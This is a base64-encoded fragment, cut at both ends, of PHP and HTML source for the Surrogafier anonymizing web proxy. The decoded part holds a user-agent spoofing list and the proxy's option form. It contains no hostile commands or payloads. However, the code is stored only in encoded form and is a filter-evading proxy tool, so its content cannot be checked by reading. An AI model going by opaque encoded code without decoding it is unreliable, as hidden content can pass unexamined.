ydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVN